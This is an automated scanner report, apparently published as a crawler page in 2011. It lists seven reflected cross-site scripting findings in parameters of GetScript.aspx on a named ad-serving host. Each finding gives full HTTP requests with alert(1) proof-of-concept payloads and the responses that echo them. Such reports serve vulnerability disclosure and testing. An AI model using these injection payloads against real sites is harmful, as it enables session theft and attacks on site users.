XSS, raw.oggifinogi.com, Cross Site Scripting, CWE-79, CAPEC-86

XSS in API Host | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 08:11:45 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://raw.oggifinogi.com/GetScript.aspx [oggiHeight parameter]

1.2. http://raw.oggifinogi.com/GetScript.aspx [oggiHeight parameter]

1.3. http://raw.oggifinogi.com/GetScript.aspx [oggiImpolite parameter]

1.4. http://raw.oggifinogi.com/GetScript.aspx [oggiVary parameter]

1.5. http://raw.oggifinogi.com/GetScript.aspx [oggiVary parameter]

1.6. http://raw.oggifinogi.com/GetScript.aspx [oggiWidth parameter]

1.7. http://raw.oggifinogi.com/GetScript.aspx [oggiWidth parameter]

2. Session token in URL

3. Content type incorrectly stated

3.1. http://raw.oggifinogi.com/Service.svc/OptOutCookiePresents

3.2. http://raw.oggifinogi.com/crossdomain.xml



1. Cross-site scripting (reflected)  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://raw.oggifinogi.com/GetScript.aspx [oggiHeight parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiHeight request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5638a'%3balert(1)//0bacb8a3151 was submitted in the oggiHeight parameter. This input was echoed as 5638a';alert(1)//0bacb8a3151 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px&oggiHeight=600px5638a'%3balert(1)//0bacb8a3151&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:14:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2673

function Inita65d82a8_a725_4d4d_afc0_0fd5ce2634fe(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDiva65d82a8_a725_4d4d_afc0_0fd5ce2634fe';
       playerDiv.setAttribute(
...[SNIP]...
/main.oggifinogi.com/OggiPlayerService/PlayerProxy.aspx?id=de12c9c3-8830-4d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef');
       playerDiv.style.cssText = 'width:160px;height:600px5638a';alert(1)//0bacb8a3151; position:absolute;text-align:left;';
       playerDiv.setAttribute("vary", '');
       playerDiv.setAttribute("gExternal", '%7b%22link1%22%3a%22http%3a%2f%2fwww.bestbuybusiness.com%2fbbfb%2fen%2fUS%2fadirect
...[SNIP]...

1.2. http://raw.oggifinogi.com/GetScript.aspx [oggiHeight parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiHeight request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 58cf9"%3balert(1)//a88fe4f903 was submitted in the oggiHeight parameter. This input was echoed as 58cf9";alert(1)//a88fe4f903 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px&oggiHeight=600px58cf9"%3balert(1)//a88fe4f903&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:14:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2671

function Inita80f550e_fe17_4b6c_96f8_8239b791ae48(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDiva80f550e_fe17_4b6c_96f8_8239b791ae48';
       playerDiv.setAttribute(
...[SNIP]...
<div id='oggiPlaceholdera80f550e_fe17_4b6c_96f8_8239b791ae48' style='width:160px;height:600px58cf9";alert(1)//a88fe4f903;'>
...[SNIP]...

1.3. http://raw.oggifinogi.com/GetScript.aspx [oggiImpolite parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiImpolite request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89301'%3balert(1)//2108e72332c was submitted in the oggiImpolite parameter. This input was echoed as 89301';alert(1)//2108e72332c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px&oggiHeight=600px&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=&oggiImpolite=true89301'%3balert(1)//2108e72332c&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:15:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2645

function Initdea088a6_40d3_40a9_8272_14e23fe27c1a(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDivdea088a6_40d3_40a9_8272_14e23fe27c1a';
       playerDiv.setAttribute(
...[SNIP]...
an%3bbtg%3dcm.de16_1%3bbtg%3dcm.de18_1%3bbtg%3dcm.sports_h%3bbtg%3dcm.weath_l%3bbtg%3dex.32%3bbtg%3dex.76%3b%7eaopt%3d3%2f0%2fee%2f0%3b%7esscs%3d%3f%22%7d');
       playerDiv.setAttribute("impolite", 'true89301';alert(1)//2108e72332c');
       playerDiv.setAttribute("expandedMode",'');
       
       
       var absentBody = false;

       if (document.getElementsByTagName("head").length == 0){
           var head = document.createElement("head");
           var
...[SNIP]...

1.4. http://raw.oggifinogi.com/GetScript.aspx [oggiVary parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiVary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5b8a"%3balert(1)//f6d9916aa48 was submitted in the oggiVary parameter. This input was echoed as e5b8a";alert(1)//f6d9916aa48 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px&oggiHeight=600px&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=e5b8a"%3balert(1)//f6d9916aa48&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:14:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2673

function Initb0bdd046_070d_4836_b07c_00ba899df3be(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDivb0bdd046_070d_4836_b07c_00ba899df3be';
       playerDiv.setAttribute(
...[SNIP]...
<scr" + "ipt type='text/javascript' src='http://static-cdn-cf.oggifinogi.com/prod/PlayerLoadere5b8a";alert(1)//f6d9916aa48_4.9.9_2011_01_12.js'>
...[SNIP]...

1.5. http://raw.oggifinogi.com/GetScript.aspx [oggiVary parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiVary request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6823'%3balert(1)//48382bc9f4c was submitted in the oggiVary parameter. This input was echoed as a6823';alert(1)//48382bc9f4c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px&oggiHeight=600px&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=a6823'%3balert(1)//48382bc9f4c&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:15:02 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2673

function Inite65d0bfa_2006_4d86_8c9a_d01c6736c41e(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDive65d0bfa_2006_4d86_8c9a_d01c6736c41e';
       playerDiv.setAttribute(
...[SNIP]...
d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef');
       playerDiv.style.cssText = 'width:160px;height:600px; position:absolute;text-align:left;';
       playerDiv.setAttribute("vary", 'a6823';alert(1)//48382bc9f4c');
       playerDiv.setAttribute("gExternal", '%7b%22link1%22%3a%22http%3a%2f%2fwww.bestbuybusiness.com%2fbbfb%2fen%2fUS%2fadirect%2fbestbuy%3fcmd%3dBBFBStaticContent%26id%3dcontent%2fcatalog%2ftruesoluti
...[SNIP]...

1.6. http://raw.oggifinogi.com/GetScript.aspx [oggiWidth parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiWidth request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4d6e2'%3balert(1)//5efb9ec9a1d was submitted in the oggiWidth parameter. This input was echoed as 4d6e2';alert(1)//5efb9ec9a1d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160px4d6e2'%3balert(1)//5efb9ec9a1d&oggiHeight=600px&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:14:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2673

function Initccadcf0c_1c67_4dfa_87ca_c6a0f91f89ae(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDivccadcf0c_1c67_4dfa_87ca_c6a0f91f89ae';
       playerDiv.setAttribute(
...[SNIP]...
Url", 'http://main.oggifinogi.com/OggiPlayerService/PlayerProxy.aspx?id=de12c9c3-8830-4d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef');
       playerDiv.style.cssText = 'width:160px4d6e2';alert(1)//5efb9ec9a1d;height:600px; position:absolute;text-align:left;';
       playerDiv.setAttribute("vary", '');
       playerDiv.setAttribute("gExternal", '%7b%22link1%22%3a%22http%3a%2f%2fwww.bestbuybusiness.com%2fbbfb%2fen%2
...[SNIP]...

1.7. http://raw.oggifinogi.com/GetScript.aspx [oggiWidth parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://raw.oggifinogi.com
Path:   /GetScript.aspx

Issue detail

The value of the oggiWidth request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb851"%3balert(1)//35948f6fa31 was submitted in the oggiWidth parameter. This input was echoed as bb851";alert(1)//35948f6fa31 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GetScript.aspx?oggiId=de12c9c3-8830-4d55-af77-e268efdbd75c&oggiWidth=160pxbb851"%3balert(1)//35948f6fa31&oggiHeight=600px&oggiCampaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&oggiVary=&oggiImpolite=true&oggiClickTrack=http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/3/0/%2a/q%3B234703523%3B0-0%3B1%3B17351732%3B2321-160/600%3B39460923/39478710/1%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-29618919_1296072426%2C11d765b6a10b1b3%2CMiscellaneous%2Ccm.cm_aa_gn1-cm.sportsreg-cm.sportsfan-cm.de16_1-cm.de18_1-cm.sports_h-cm.weath_l-ex.32-ex.76%3B%3Bcmw%3Dowl%3Bsz%3D160x600%3Bnet%3Dcm%3Bord1%3D236095%3Bcontx%3DMiscellaneous%3Ban%3D180%3Bdc%3Dw%3Bbtg%3Dcm.cm_aa_gn1%3Bbtg%3Dcm.sportsreg%3Bbtg%3Dcm.sportsfan%3Bbtg%3Dcm.de16_1%3Bbtg%3Dcm.de18_1%3Bbtg%3Dcm.sports_h%3Bbtg%3Dcm.weath_l%3Bbtg%3Dex.32%3Bbtg%3Dex.76%3B%7Eaopt%3D3/0/ee/0%3B%7Esscs%3D%3f&oggiSite=http%3A//www.wgntv.com/business/sns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert%281%29//9b2220c5c29 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 23:14:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2673

function Init64db9d01_dd23_46ec_afee_b7f08753f7ad(){
       var playerDiv = document.createElement("div");
       playerDiv.id = 'oggiPlayerDiv64db9d01_dd23_46ec_afee_b7f08753f7ad';
       playerDiv.setAttribute(
...[SNIP]...
